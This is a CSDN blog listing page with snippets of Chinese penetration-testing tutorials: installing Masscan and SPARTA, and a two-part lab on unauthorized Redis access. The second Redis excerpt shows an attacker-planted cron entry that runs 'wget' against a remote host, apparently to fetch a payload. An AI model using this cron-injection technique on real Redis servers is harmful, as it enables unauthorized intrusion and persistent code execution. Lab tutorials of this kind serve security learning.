![](https://img-blog.csdnimg.cn/20201014180756757.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
Kail Linux
Snoopied
这个作者很懒,什么都没留下…
展开
-
扫描工具Masscan
据说这是最快速的互联网端口扫描工具,能够在6分钟扫描整个互联网。安装:git clone https://github.com/robertdavidgraham/masscan.git /opt/masscancd /opt/masscanmakemake install运行:cd /opt/masscan/bin./masscan -p80,8000-8100 10.0.0.0/8-p80,8...原创 2018-05-05 23:03:52 · 1347 阅读 · 0 评论 -
渗透测试工具SPARTA
SPARTA是一个基于Python脚本的图形化应用程序,在扫描和枚举阶段,辅助渗透测试人员简化网络架构的渗透测试工作。Masscan适合大范围的外部网络的初始扫描,SPARTA提供后续的精准扫描。安装:git clone https://github.com/secforce/sparta.git /opt/spartaapt-get install python-elixirapt-get ...原创 2018-05-05 23:48:08 · 1661 阅读 · 0 评论 -
未授权访问的Redis服务01
在服务器上开启Redis服务wget http://download.redis.io/redis-stable.tar.gz解压tar -xvf redis-stable.tar.gz 进入文件夹,编译make编译完成之后,修改redis.conf 中的daemonize从no改为yes,允许后台运行,并修改服务监听的地址为服务器IP。进入src文件夹,使用...原创 2018-09-20 22:01:00 · 249 阅读 · 0 评论 -
未授权访问的Redis服务02
Redis服务器在初始情况下,并未配置有crontabs相关的计划任务,可在/var/spool/cron/crontabs目录下查看到无文件。也可以进入编辑模式,发现并无计划任务,生成的root文件中还未做任何配置。crontab -e 攻击方任意创建文件,vi 1.txt编写命令***** wget -q -O - http://*/%E5%BE%A...原创 2018-09-21 09:14:57 · 222 阅读 · 0 评论